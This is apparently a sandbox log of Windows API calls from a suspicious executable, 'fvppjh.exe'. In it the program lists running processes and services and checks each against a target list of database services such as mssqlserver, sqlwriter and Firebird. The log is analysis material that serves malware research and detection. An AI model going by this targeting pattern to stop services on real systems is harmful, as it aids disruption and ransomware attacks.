	[0163.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0163.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0163.272] lstrlenW (lpString="Themes") returned 6
	[0163.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0163.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0163.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0163.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0163.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0163.273] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0163.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.273] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0163.273] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0163.273] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e5cb0 | out: hHeap=0x5a0000) returned 1
	[0163.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x53c
	[0163.276] Process32FirstW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0163.277] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0163.277] lstrlenW (lpString="System") returned 6
	[0163.277] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0163.277] lstrlenW (lpString="smss.exe") returned 8
	[0163.277] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.278] lstrlenW (lpString="csrss.exe") returned 9
	[0163.278] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0163.278] lstrlenW (lpString="wininit.exe") returned 11
	[0163.278] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.279] lstrlenW (lpString="csrss.exe") returned 9
	[0163.279] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0163.279] lstrlenW (lpString="winlogon.exe") returned 12
	[0163.279] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0163.280] lstrlenW (lpString="services.exe") returned 12
	[0163.280] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0163.280] lstrlenW (lpString="lsass.exe") returned 9
	[0163.280] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.280] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.280] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.281] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.281] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.281] lstrlenW (lpString="svchost.exe") returned 11
	[0163.281] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.282] lstrlenW (lpString="svchost.exe") returned 11
	[0163.282] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0163.282] lstrlenW (lpString="dwm.exe") returned 7
	[0163.282] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.282] lstrlenW (lpString="svchost.exe") returned 11
	[0163.283] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.283] lstrlenW (lpString="svchost.exe") returned 11
	[0163.283] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.283] lstrlenW (lpString="svchost.exe") returned 11
	[0163.283] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.284] lstrlenW (lpString="svchost.exe") returned 11
	[0163.284] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.430] lstrlenW (lpString="svchost.exe") returned 11
	[0163.434] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.435] lstrlenW (lpString="svchost.exe") returned 11
	[0163.435] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.439] lstrlenW (lpString="svchost.exe") returned 11
	[0163.439] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.440] lstrlenW (lpString="svchost.exe") returned 11
	[0163.440] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.440] lstrlenW (lpString="svchost.exe") returned 11
	[0163.440] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.441] lstrlenW (lpString="svchost.exe") returned 11
	[0163.441] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0163.441] lstrlenW (lpString="spoolsv.exe") returned 11
	[0163.441] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.442] lstrlenW (lpString="svchost.exe") returned 11
	[0163.442] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0163.442] lstrlenW (lpString="audiodg.exe") returned 11
	[0163.442] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0163.442] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0163.442] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0163.443] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0163.443] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0163.443] lstrlenW (lpString="Memory Compression") returned 18
	[0163.443] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0163.444] lstrlenW (lpString="sihost.exe") returned 10
	[0163.444] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.444] lstrlenW (lpString="svchost.exe") returned 11
	[0163.444] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0163.445] lstrlenW (lpString="taskhostw.exe") returned 13
	[0163.445] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0163.445] lstrlenW (lpString="taskhostw.exe") returned 13
	[0163.445] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0163.445] lstrlenW (lpString="explorer.exe") returned 12
	[0163.445] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0163.446] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0163.446] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0163.446] lstrlenW (lpString="SearchUI.exe") returned 12
	[0163.446] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0163.447] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0163.447] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0163.447] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0163.447] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0163.448] lstrlenW (lpString="fvppjh.exe") returned 10
	[0163.448] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0163.448] lstrlenW (lpString="cmd.exe") returned 7
	[0163.448] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0163.448] lstrlenW (lpString="conhost.exe") returned 11
	[0163.448] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0163.449] lstrlenW (lpString="mode.com") returned 8
	[0163.449] Process32NextW (in: hSnapshot=0x53c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0163.449] CloseHandle (hObject=0x53c) returned 1
	[0163.449] Sleep (dwMilliseconds=0x1f4) 
	[0164.039] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0520
	[0164.039] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0164.040] GetLastError () returned 0xea
	[0164.040] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0164.041] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0164.041] CloseServiceHandle (hSCObject=0x41c0520) returned 1
	[0164.041] lstrlenW (lpString="Appinfo") returned 7
	[0164.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0164.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0164.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0164.042] lstrlenW (lpString="AppXSvc") returned 7
	[0164.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0164.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0164.042] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0164.042] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0164.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0164.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0164.042] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0164.042] lstrlenW (lpString="Audiosrv") returned 8
	[0164.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0164.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0164.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0164.042] lstrlenW (lpString="BFE") returned 3
	[0164.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0164.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0164.042] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0164.042] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0164.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0164.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0164.042] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0164.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0164.043] lstrlenW (lpString="CDPSvc") returned 6
	[0164.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0164.043] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0164.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0164.043] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0164.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0164.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0164.043] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0164.043] lstrlenW (lpString="CryptSvc") returned 8
	[0164.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0164.043] lstrlenW (lpString="DcomLaunch") returned 10
	[0164.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0164.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0164.043] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0164.043] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0164.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0164.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0164.043] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0164.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0164.044] lstrlenW (lpString="Dhcp") returned 4
	[0164.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0164.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0164.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0164.044] lstrlenW (lpString="Dnscache") returned 8
	[0164.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0164.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0164.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0164.044] lstrlenW (lpString="DPS") returned 3
	[0164.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0164.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0164.044] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0164.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0164.044] lstrlenW (lpString="DusmSvc") returned 7
	[0164.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
